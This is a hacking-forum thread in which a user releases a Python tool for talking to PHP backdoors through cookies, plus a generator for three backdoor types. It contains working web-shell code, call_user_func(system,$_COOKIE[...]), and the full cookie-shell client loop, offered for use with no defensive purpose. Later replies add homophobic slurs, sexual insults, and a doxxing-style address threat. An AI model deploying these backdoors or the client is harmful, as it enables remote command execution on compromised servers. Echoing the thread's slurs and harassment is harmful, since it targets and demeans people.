[Nyckel]

So a little over a month ago I created a basic python script that allows you to interact with a PHP backdoor through a cookie. The process is simple:

Take user input --> Send Input as a cookie to designated script --> PHP RCE function executes the command and returns output

The nice thing about this is that I can use any type of PHP function/backdoor I want to execute my command. I've recently decided to revamp my script and release it here on HF. I've added a generator which automatically creates 3 different types of php backdoors that are compatible with my script. These include:

1. Preg_replace: utilizes preg_replace() with the \e modifier
   


2. Call_user_func: utilizes call_user_func() with system()
   


3. Non-alphanumeric: utilizes XOR to make a non-alphanumeric backdoor
   

Of course the beauty of this script is that you can use whatever type of backdoor you like, just make sure it executes $_COOKIE['p1r1'] or another if you just want to edit the python script all together. The script also returns everything between <pre> tags, so keep that in mind if your modding it.

ScreenShots:
-----------------------------------
Usage and Examples:
Spoiler (Click to View)

Generator and Shell
Spoiler (Click to View)

Think of this as something like a simplified and easily customizable Weevely or Webacoo. It's not meant to be anything special, but it still works well. Thanks for reading and I hope you enjoy.

http://pastebin.com/raw.php?i=tcdE9Ytv

[zeru_0_X]

Aww, this is a nice tool. I'm gonna use it for sure. <3

Is it just me or does that "bra" in your signature look like a big cock?
And hi :)

[Nyckel]

Code

print("Invalid Option: Exiting")
        exit(1)

why would you exit instead of try again?

If you can't manage to give it a number between 1 and 4, you deserve to have rerun the script.

Thanks for the responses everyone.

[Light Yagami.]

Is it just me or does that "bra" in your signature look like a big cock?
And hi :)

u are one gay person i hate u fagget
python python python is cool

[Krieg]

I hardly do anything beneficial on this forum anymore but for the sake of its salvation lemme bu.mp this.

And this is good?
Look at all the hardcoded backdoors. IDS signatures, here we come!

@Nyckel: If you release another version, dynamically generate the bd's.

Also:

PHP Code


<?php 
$eval = call_user_func(system, $_COOKIE['p1r1']);  // Thanks to big boi Phizo
$eval; 


No. You don't need the second line there. What the fuck are you doing even assigning it to a variable at all?

PHP Code


<?php 
call_user_func(system,$_COOKIE['p1r1']); 


works just fine.

[Nyckel]

And this is good?
Look at all the hardcoded backdoors. IDS signatures, here we come!

@Nyckel: If you release another version, dynamically generate the bd's.

Also:

PHP Code


<?php 
$eval = call_user_func(system, $_COOKIE['p1r1']);  // Thanks to big boi Phizo
$eval; 


No. You don't need the second line there. What the fuck are you doing even assigning it to a variable at all?

PHP Code


<?php 
call_user_func(system,$_COOKIE['p1r1']); 


works just fine.

Ye fuck you too buddy. I ripped that one from Phizo's tutorial, so make sure to poop on him as well (although I'm equally at fault). I don't think I'll be releasing another version, but I'll keep your criticisms in mind. Thanks bb.

[123penis]

Code

#Cookie Shell
def shell(site):
    signal.signal(signal.SIGINT, signal_handler)
    while True:
        http = httplib2.Http()
        cookie_value = "p1r1=" + raw_input("shell@dongathon:~$ ")
        headers = {'Cookie':cookie_value}
        response, content = http.request(site, 'GET', headers=headers)
        for item in content.split("</pre>"):
            if "<pre>" in item:
                out = item [ item.find("<pre>")+len("<pre>") : ]
                print(out[:-1])

You don't deserve to live.

[Nyckel]

Code

#Cookie Shell
def shell(site):
    signal.signal(signal.SIGINT, signal_handler)
    while True:
        http = httplib2.Http()
        cookie_value = "p1r1=" + raw_input("shell@dongathon:~$ ")
        headers = {'Cookie':cookie_value}
        response, content = http.request(site, 'GET', headers=headers)
        for item in content.split("</pre>"):
            if "<pre>" in item:
                out = item [ item.find("<pre>")+len("<pre>") : ]
                print(out[:-1])

You don't deserve to live.

COME AT ME ON YOUR REAL ACCOUNT FGT.

Code works and I wanted to use standard libs. That means no beautiful soup for parsing and no requests for sending teh cookies.

[zeru_0_X]

But I have nothing to hide. Why not let someone to threaten me with a dox of mine.

nyckel i be spamming here for the good of this thread

Inpatient Psychiatric Childrens Hospital USA FL 51491 Autism spectrum Disorders Unit 6th Street
2nd room on the right

---

u are one gay person i hate u fagget
python python python is cool

ur mom gave me head and i had sex with ur sister fagot

[Light Yagami.]

My usage of variables was to show you how to call it once stored in a variable. Notice that it differs from the other functions provided.
Whilst it's something simple some people can figure out, others can't.

A couple of people have questioned this, and seemingly having difficulty interpreting why I'm doing what's shown.
It's not my problem if you decide to rip it. That's all on you.

phizo phizo phizo i watching hentai and her boobs are big